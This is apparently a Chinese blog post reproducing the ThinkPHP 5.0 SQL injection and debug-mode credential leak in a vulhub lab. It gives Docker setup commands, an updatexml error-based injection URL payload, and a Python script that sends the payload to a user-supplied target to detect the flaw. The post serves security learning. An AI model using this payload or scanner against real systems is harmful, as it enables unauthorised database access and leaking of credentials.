ThinkPHP5 SQL注入漏洞&&敏感信息泄露漏洞

1 漏洞介绍

ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.1.23)中,开启debug模式,传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码

2 漏洞环境

cd vulhub/thinkphp/in-sqlinjection/
部署环境
docker compose up -d
查看端口
docker compose ps

访问 ,您将看到显示用户名,表示环境正在成功运行。

http://192.168.135.132/index.php?ids[]=1&ids[]=2

3 使用payload进行复现

打开页面,你会发现消息显示成功:

http://192.168.135.132/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

4 编写python脚本探测漏洞

#!/usr/bin/env python
​
import requests
from urllib.parse import urljoin
​
def thinkphp5x_sql(url):
    payload = urljoin(url, '/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')
​
    response = requests.get(url=payload, verify=False)
​
    if 'XPATH syntax error' in response.text:
        print("漏洞存在")
    else:
        print("漏洞不存在")
​
if __name__ == '__main__':
    print("注意:本代码仅用于实验和学习目的,请谨慎使用。")
    url = input("请输入目标 URL: ")
    thinkphp5x_sql(url)

结果

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值